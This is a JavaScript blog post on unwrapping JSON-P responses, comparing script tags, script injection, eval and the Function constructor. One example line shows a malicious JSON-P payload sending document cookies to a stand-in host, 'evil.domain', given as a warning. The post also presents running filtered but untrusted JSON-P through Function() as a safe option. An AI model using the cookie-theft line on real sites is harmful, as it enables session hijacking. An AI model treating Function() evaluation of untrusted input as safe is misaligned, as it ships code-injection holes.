Unwrapping JSON-P

This is a quickie simple post on JavaScript techniques. We're going to look at how to unwrap the "P" function-call padding from a JSON-P string to get the JSON from it.

Note: Obviously, the recent push toward ubiquity of CORS is making JSON-P less important these days. But there's still a ton of JSON-P serving APIs out there, and it remains an important part of making cross-domain Ajax requests.

The scenario: you receive (via whatever means: Ajax, whatever) a string of JSON-P (like foo({"id":42})) data, say from some API call, and you want to extract the JSON data to use in your application.

Classic JSON-P Handling

The most common approach is to just directly load the JSON-P data into an external <script> element (assuming it's possible to get that data directly via a URL):

var s = document.createElement( "script" );
s.src = "http://some.api.url/?callback=foo&data=whatever";
document.head.appendChild( s );

Assuming foo({"id":42}) comes back from such a URL call, and there's a global foo(..) function to be called, it will of course receive the {"id":42} JSON data packet.

There are hundreds of different JS libs/frameworks out there which automate such JSON-P handling. I wrote jXHR years ago as a simple PoC that we could even construct an XHR-like interface for making such JSON-P calls, which looked like:

var x = new jXHR();

x.onreadystatechange = function(data) {
    if (x.readyState == 4) {
        console.log( data.id ); // 42
    }
};

x.open( "GET", "http://some.api.url/?callback=?&data=whatever" );

x.send();

JSON-P roblems

There are some issues with the classic approach to JSON-P handling.

The first most glaring issue is that you must have a global foo(..) function declared. Some people (and some JSON-P APIs) allow something like bar.foo(..) as the callback, but that's not always allowed, and even then bar is a global variable (namespace). As JS and the web move toward ES6 features like modules, and heavily de-emphasize global variables/functions, the idea of having to dangle a global variable/function out to catch incoming JSON-P data calls becomes very unattractive.

FWIW, jXHR automatically generates unique function names (like jXHR.cb123(..)) for the purpose of passing along to the JSON-P API calls, so that your code didn't need to handle that detail. Since there's already a jXHR namespace, it's a tiny bit more acceptable that jXHR buries its functions on that namespace.

But, it would be nice if there was a cleaner way (sans library) to handle JSON-P without such global variables/functions. More on that in a moment.

Another issue is if you're going to be making lots of JSON-P API calls, you're going to be constantly creating and DOM-appending new <script> elements, which is quickly going to clutter up the DOM.

Of course, most JSON-P utilities (including jXHR) "clean up" after themselves by removing the <script> element from the DOM as soon as it has run. But that's not exactly a pure answer to the issue, because that's going to be creating and throwing away lots of DOM elements, and DOM operations are always slowest and have plenty of memory overhead.

Lastly, there have long been concerns over the safety/trustability of JSON-P. Since JSON-P is basically just random JS, any malicious JS code could be injected.

For example, if a JSON-P API call returned:

foo({"id":42});(new Image()).src="http://evil.domain/?hijacking="+document.cookies;

As you can see, that extra JS payload isn't something we generally should want to allow.

The json-p.org effort was intended to define a safer JSON-P subset, as well as tools that allowed you to verify (to the extent possible) that your JSON-P packet is "safe" to execute.

But you can't run any such verifications on this returned value if you are having it load directly into a <script> element.

So, let's look at some alternatives.

Script Injection

First, if you have the JSON-P content loaded as a string value (like through an Ajax call, such as from a same-domain server-side Ajax proxy, etc), you can process the value before evaluating it:

var jsonp = "..";

// first, do some parsing, regex filtering, or other sorts of
// whitelist checks against the `jsonp` value to see if it's
// "safe"

// now, run it:
var s = document.createElement( "script" );
s.text = jsonp;
document.head.appendChild( s );

Here, we're using "script injection" to run the JSON-P code (after having a chance to check it in whatever way we want) by setting it as the text of an injected <script> element (as opposed to setting the API URL to the src as above).

Of course, this still has the downsides of needing global variables/functions to handle the JSON-P function call, and it still churns through extra <script> elements with the overhead that brings.

Another problem is that <script>-based evaluation has no graceful error handling, because you have no opportunity to use try..catch around it, for instance (unless of course you modify the JSON-P value itself!).

Another downside to relying on <script> elements is that this works only in browsers. If you have code that needs to run outside a browser, like in node.js (like if your node code is consuming some other JSON-P API), you won't be able to use <script> to handle it.

So what's our other option(s)?

Direct Evaluation

You may wonder: why we can't just do eval(jsonp) to evaluate the JSON-P code? Of course, we can, but there are plenty of downsides.

The main cited concerns against eval(..) are usually execution of untrusted code, but those concerns are moot here since we're already addressing that JSON-P could be malicious and we're already considering the opportunity to inspect/filter the value in some way, if possible.

The real reason you don't want to use eval(..) is a JS one. For various reasons, the mere presence of eval(..) in your code disables various lexical scope optimizations that would normally speed up your code. So, in other words, eval(..) makes your code slower. You should never, ever use eval(..). Period.

But there's another option without such downsides. We can use the Function(..) constructor. Not only does it allow direct evaluation without <script> (so it'll work in node.js), but it also simulataneously solves that whole global variable/function annoyance!

Here's how to do it:

var jsonp = "..";

// parse/filter `jsonp`'s value if necessary

// wrap the JSON-P in a dynamically-defined function
var f = new Function( "foo", jsonp );

// `f` is now basically:
// function f(foo) {
//    foo({"id":42});
// }

// now, provide a non-global `foo()` to extract the JSON
f( function(json){
    console.log( json.id ); // 42
} )

So, new Function( "foo", "foo({\"id\":42})" ) constructs function(foo){ foo({"id":42}) }, which we call f.

Do you see what's happening there? The JSON-P calls foo(..), but foo(..) doesn't even need to exist globally anymore. We inject a local (non-global) function of the parameter name foo by calling f( function(json){ .. } ), and when the JSON-P runs, it's none the wiser!

So:

1. We have manual evaluation of the JSON-P, which gives us the chance to check the value first before handling.
2. We no longer need global variables/functions to handle the JSON-P function call.
3. Function(..) construction doesn't have the same performance slow-downs of eval(..) (because it can't create scope side-effects!).
4. This approach works in either browser or node.js because it doesn't rely on <script>.
5. We have better error-handling capability, because we can wrap try..catch around the f(..) call, whereas you can't do the same with <script>-based evaluation.

That's a pretty big set of wins over <script>!

Summary

Is Function(..) evaluation perfect? Of course not. But it's a lot better and more capable than the classic, common JSON-P approaches out there.

So, if you're still using JSON-P API calls, and chances are a lot of you are, you might want to rethink how you're consuming them. In many cases, the old <script> approach falls well short of the true potential.

About Kyle Simpson

Kyle Simpson is a web-oriented software engineer, widely acclaimed for his "You Don't Know JS" book series and nearly 1M hours viewed of his online courses. Kyle's superpower is asking better questions, who deeply believes in maximally using the minimally-necessary tools for any task. As a "human-centric technologist", he's passionate about bringing humans and technology together, evolving engineering organizations towards solving the right problems, in simpler ways. Kyle will always fight for the people behind the pixels.

github.comPosts